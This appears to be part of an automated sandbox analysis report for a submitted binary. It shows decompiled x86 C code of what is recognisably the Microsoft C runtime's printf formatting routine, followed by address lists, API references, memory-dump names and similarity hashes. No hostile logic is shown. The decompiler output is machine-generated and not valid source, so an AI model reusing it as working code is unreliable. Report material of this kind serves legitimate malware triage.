																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E004357C0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xd5b65caa
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xd44284aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xd44114aa
																							E00424760(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428400(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428440(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
																			if(E00433FB0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043503b
0x0043503b
0x0043503b
0x0043503b
0x0043503b
0x0043503b
0x0043503b
0x0043503b
0x00000000
0x004350aa
0x00000000
0x004350aa
0x00000000
0x004350aa
0x004350aa
0x004350b2
0x004350d4
0x004350da
0x004350ff
0x00435146
0x00435149
0x0043516a
0x0043516f
0x00435174
0x0043517a
0x0043514b
0x0043514f
0x00435154
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435107
0x00435129
0x0043512e
0x00435134
0x00435135
0x0043513b
0x00435109
0x0043510d
0x00435112
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350e0
0x004350e5
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b8
0x004350bd
0x004350c0
0x004350c6
0x004350c6
0x00435186
0x004351c8
0x004351ce
0x004351da
0x00000000
0x00435188
0x00435188
0x00435188
0x0043518f
0x00000000
0x0043519c
0x0043519c
0x004351aa
0x004351af
0x004351b5
0x004351c3
0x004351e0
0x004351e8
0x0043520a
0x0043520a
0x00435214
0x00435225
0x0043522f
0x00435231
0x00435231
0x00435216
0x00435216
0x00435216
0x00435244
0x00435246
0x00435246
0x00435250
0x00435253
0x00435253
0x00435259
0x0043525c
0x00435261
0x00000000
0x00000000
0x00435271
0x00435274
0x0043527e
0x0043528d
0x00435296
0x004352ac
0x004352b2
0x004352bf
0x004352cd
0x004352cd
0x004352dc
0x004352e4
0x004352e4
0x004352ec
0x004352f2
0x004352fb
0x00435307
0x00435320
0x00435326
0x0043532f
0x0043532f
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00435332
0x00435332
0x00435336
0x0043551d
0x00435521
0x00435529
0x0043552e
0x00435531
0x00435531
0x00435538
0x00435538
0x0043460f
0x00434615
0x00434622
0x00434627
0x00000000
0x0043463a
0x00434644
0x0043466b
0x00434652
0x00434663
0x00434663
0x00434644
0x00434675
0x0043467b
0x00434687
0x0043468a
0x00434698
0x0043469b
0x004346a8
0x0043474d
0x00434753
0x00434760
0x00000000
0x00000000
0x00434766
0x0043476c
0x00000000
0x00434773
0x00434773
0x0043478b
0x00434790
0x00434795
0x0043484f
0x00434862
0x00434867
0x00000000
0x0043479b
0x004347ae
0x004347b3
0x004347b9
0x004347bb
0x004347c4
0x004347c7
0x004347d3
0x004347d7
0x004347dd
0x004347df
0x004347e4
0x004347e6
0x004347eb
0x004347f0
0x004347f2
0x004347f7
0x004347fd
0x004347ff
0x004347ff
0x004347fd
0x00434800
0x00434807
0x00000000
0x00434809
0x0043480e
0x0043482a
0x00434832
0x0043483f
0x00434844
0x00000000
0x00434844
0x00434807
0x00000000
0x0043486f
0x0043486f
0x00434876
0x00434879
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00434888
0x0043488f
0x00434896
0x00000000
0x00000000
0x004348a2
0x004348a2
0x004348a9
0x004348b5
0x004348b8
0x004348c5
0x00000000
0x00000000
0x004348c7
0x004348c7
0x004348cd
0x004348cd
0x004348d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434917
0x00434917
0x00434921
0x0043494b
0x0043494e
0x00434951
0x00434958
0x00434958
0x0043495c
0x00434923
0x00434923
0x0043492f
0x00434936
0x00434938
0x0043493b
0x0043493e
0x00434944
0x00434946
0x00434946
0x00434949
0x00000000
0x00000000
0x00434964
0x00434964
0x00000000
0x00000000
0x00434970
0x00434970
0x0043497a
0x0043499d
0x004349a7
0x004349a7
0x004349ab
0x0043497c
0x0043497c
0x00434988
0x0043498f
0x00434991
0x00434991
0x00434998
0x00000000
0x00000000
0x004349b3
0x004349b3
0x004349ba
0x004349c6
0x004349c9
0x004349d6
0x00434ae9
0x00000000
0x00434ae9
0x004349dc
0x004349dc
0x004349e2
0x004349e2
0x004349e9
0x00000000
0x00434a1f
0x00434a1f
0x00434a22
0x00434a28
0x00434a50
0x00434a50
0x00434a53
0x00434a59
0x00434a7e
0x00434a7e
0x00434a81
0x00434a87
0x00434ac0
0x00434ad1
0x00000000
0x00434ad1
0x00434a89
0x00434a89
0x00434a8c
0x00434a92
0x00000000
0x00000000
0x00434a94
0x00434a94
0x00434a97
0x00434a9d
0x00000000
0x00000000
0x00434a9f
0x00434a9f
0x00434aa2
0x00434aa8
0x00000000
0x00000000
0x00434aaa
0x00434aaa
0x00434aad
0x00434ab3
0x00000000
0x00000000
0x00434ab5
0x00434ab5
0x00434ab8
0x00434abe
0x00434ac2
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434abe
0x00434a5b
0x00434a5b
0x00434a5e
0x00434a65
0x00000000
0x00000000
0x00434a67
0x00434a6a
0x00434a6d
0x00434a70
0x00434a73
0x00434a79
0x00000000
0x00434a79
0x00434a2a
0x00434a2a
0x00434a2d
0x00434a34
0x00000000
0x00000000
0x00434a36
0x00434a39
0x00434a3c
0x00434a3f
0x00434a42
0x00434a48
0x00000000
0x00000000
0x00434ad3
0x00434ad6
0x00434ad9
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349f3
0x004349f9
0x00434a11
0x00434a14
0x00434a17
0x004349fb
0x004349fe
0x00434a01
0x00434a07
0x00434a0c
0x00434a0c
0x00000000
0x00000000
0x00434ade
0x00434ae1
0x00434ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348f1
0x004348f4
0x004348f7
0x00000000
0x00000000
0x004348fc
0x004348ff
0x00434904
0x00000000
0x00000000
0x004348e6
0x004348e6
0x004348e9
0x004348ec
0x00000000
0x00000000
0x004348db
0x004348de
0x004348e1
0x00000000
0x00000000
0x00434909
0x00434909
0x0043490c
0x0043490f
0x00000000
0x00000000
0x00434912
0x00000000
0x00000000
0x004346ae
0x004346b0
0x004346be
0x004346b2
0x004346b2
0x004346b2
0x004346c8
0x004346ce
0x004346db
0x004346dd
0x004346e2
0x004346e4
0x004346e9
0x004346ee
0x004346f0
0x004346f5
0x004346fb
0x004346fd
0x004346fd
0x004346fb
0x004346fe
0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00435601
0x0043560e
0x0043560e
0x00434705
0x004346a8
0x0043553d
0x00435544
0x0043555b
0x0043554f
0x0043554f
0x0043554f
0x00435565
0x0043556b
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435598
0x0043559a
0x0043559a
0x00435598
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x0043533c
0x00435342
0x0043534c
0x00435361
0x00435376
0x00435378
0x0043537c
0x0043537c
0x00435363
0x00435363
0x00435367
0x00435367
0x0043534e
0x0043534e
0x00435352
0x00435352
0x0043534c
0x0043538c
0x00435398
0x004353ae
0x004353b3
0x004353b3
0x004353c9
0x004353ce
0x004353d7
0x004353f5
0x004353fa
0x004353fa
0x00435401
0x004354d5
0x004354e8
0x004354ed
0x00000000
0x00435411
0x00435411
0x00435411
0x0043541e
0x00435427
0x0043542d
0x0043542d
0x0043543c
0x00435444
0x00000000
0x00000000
0x0043544a
0x00435453
0x00435472
0x00435477
0x0043547a
0x00435489
0x00435496
0x004354a1
0x004354a1
0x00000000
0x004354ad
0x004354ad
0x004354c6
0x004354cb
0x00000000
0x004354cb
0x00435496
0x004354d3
0x004354f0
0x004354f7
0x00435515
0x0043551a
0x0043551a
0x00000000
0x004354f7
0x00434aee
0x00434aee
0x00434af5
0x00434afb
0x00434b01
0x00434b04
0x00434b0a
0x00434b1d
0x00434b1d
0x00434b24
0x00000000
0x00434e7e
0x00434e7e
0x00434e85
0x00434e8c
0x00434e8f
0x00000000
0x00000000
0x00434b2b
0x00434b2e
0x00434b34
0x00434b39
0x00434b3e
0x00434b3e
0x00000000
0x00000000
0x00434c6b
0x00434c6e
0x00434c73
0x00434c78
0x00434c7e
0x00434c7e
0x00000000
0x00000000
0x0043504b
0x0043504b
0x00000000
0x00000000
0x00434bd5
0x00434bd5
0x00434be1
0x00434bee
0x00434bfc
0x00434bfc
0x00434c02
0x00434c05
0x00434c11
0x00434c66
0x00000000
0x00434c66
0x00434bf0
0x00434bf0
0x00434bfa
0x00434c16
0x00434c19
0x00434c1f
0x00434c47
0x00434c4e
0x00434c54
0x00434c57
0x00434c5a
0x00434c60
0x00434c63
0x00434c21
0x00434c21
0x00434c27
0x00434c2a
0x00434c2d
0x00434c33
0x00434c36
0x00434c39
0x00434c3b
0x00434c3e
0x00434c3e
0x00000000
0x00434c1f
0x00000000
0x00000000
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea4
0x00434ea7
0x00434eb2
0x00434ebd
0x00434ec1
0x00434ed8
0x00434edf
0x00434ee1
0x00434ee1
0x00434ee8
0x00434eef
0x00434f00
0x00434f0f
0x00434f16
0x00434f2c
0x00434f18
0x00434f18
0x00434f1b
0x00434f21
0x00434f27
0x00434f27
0x00434f16
0x00434f36
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434f45
0x00434f4b
0x00434f51
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f69
0x00434f6a
0x00434f6d
0x00434f6e
0x00434f71
0x00434f72
0x00434f78
0x00434f79
0x00434f87
0x00434f89
0x00434f8f
0x00434f95
0x00434f9d
0x00434fa5
0x00434fa6
0x00434fa9
0x00434faa
0x00434fb8
0x00434fba
0x00434fba
0x00434fbd
0x00434fc7
0x00434fcc
0x00434fd2
0x00434fd4
0x00434fdc
0x00434fdd
0x00434fe0
0x00434fe1
0x00434ff0
0x00434ff2
0x00434ff2
0x00434fd2
0x00434ff5
0x00434ff8
0x00434ffe
0x00435003
0x00435009
0x0043500f
0x00435012
0x00435012
0x00435015
0x00435021
0x00000000
0x00435021
0x00434ec3
0x00434ec3
0x00434ecd
0x00000000
0x00000000
0x00434ecf
0x00434ecf
0x00000000
0x00434ecf
0x00434eb4
0x00434eb4
0x00000000
0x00000000
0x00434b41
0x00434b44
0x00434b4a
0x00434ba5
0x00434bad
0x00434bb4
0x00434bba
0x00434bc0
0x00434b4c
0x00434b4c
0x00434b56
0x00434b5a
0x00434b62
0x00434b69
0x00434b76
0x00434b7d
0x00434b89
0x00434b96
0x00434b98
0x00434b98
0x00434b9f
0x00434bc7
0x00434bcd
0x00000000
0x00000000
0x00435029
0x0043502c
0x0043502f
0x00435032
0x00000000
0x00000000
0x00434d87
0x00434d87
0x00434d93
0x00434da0
0x00434e4a
0x00434e4d
0x00434e50
0x00434e64
0x00434e6a
0x00434e70
0x00434e52
0x00434e52
0x00434e5f
0x00434e5f
0x00434e72
0x00000000
0x00434e72
0x00434da6
0x00434da6
0x00434da8
0x00434db6
0x00434daa
0x00434daa
0x00434daa
0x00434dc0
0x00434dc6
0x00434dd3
0x00434dd5
0x00434dda
0x00434ddc
0x00434de1
0x00434de6
0x00434de8
0x00434ded
0x00434df3
0x00434df5
0x00434df5
0x00434df3
0x00434dfd
0x00434e45
0x00000000
0x00434dff
0x00434dff
0x00434e04
0x00434e20
0x00434e28
0x00434e32
0x00434e35
0x00434e3a
0x00000000
0x00434e3a
0x00000000
0x0043508c
0x0043508c
0x00435096
0x0043509c
0x004350a1
0x004350a7
0x004350a7
0x00000000
0x00000000
0x00435044
0x00435044
0x00000000
0x00000000
0x00434c81
0x00434c85
0x00434c93
0x00434c96
0x00434c87
0x00434c87
0x00434c87
0x00434c9c
0x00434ca2
0x00434ca8
0x00434cb4
0x00434cba
0x00434cc0
0x00434d27
0x00434d2b
0x00434d2d
0x00434d33
0x00434d33
0x00434d36
0x00434d39
0x00434d3f
0x00434d3f
0x00434d3f
0x00434d4b
0x00434d4e
0x00434d56
0x00000000
0x00000000
0x00434d58
0x00434d58
0x00434d5e
0x00434d63
0x00000000
0x00000000
0x00434d65
0x00434d6b
0x00434d6e
0x00434d6e
0x00434d76
0x00434d7c
0x00434d7f
0x00000000
0x00434cc2
0x00434cc2
0x00434cc6
0x00434cc8
0x00434ccd
0x00434ccd
0x00434cd0
0x00434cd7
0x00434cda
0x00434ce0
0x00434ce0
0x00434ce0
0x00434cec
0x00434cef
0x00434cf7
0x00000000
0x00000000
0x00434cf9
0x00434cf9
0x00434cff
0x00434d04
0x00000000
0x00000000
0x00434d06
0x00434d0c
0x00434d0f
0x00434d0f
0x00434d17
0x00434d1d
0x00434d20
0x00434d22
0x00434d82
0x00000000
0x00434d82
0x00000000
0x00000000
0x00000000
0x00435057
0x00435057
0x00435061
0x00435061
0x0043506b
0x00435071
0x00435073
0x0043507d
0x00435080
0x00435083
0x00435083
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b24
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x0043518f
0x00435186
0x004350aa
0x004350aa
0x004350aa

APIs

_get_int64_arg.LIBCMTD ref: 004350B8
_get_int64_arg.LIBCMTD ref: 004350E0
__aullrem.LIBCMT ref: 00435285
__aulldiv.LIBCMT ref: 004352A7

Strings

9, xrefs: 004352B8

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 874206a4bc8d1beb92183aaa867a4b1238aed2e32a98270dcdaf6f6f14915b4b
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: CD41D2B1D15A29DFDF24CF98C889BAEB7B5BB49304F2095DAD009A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427DCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427DCC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428400(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
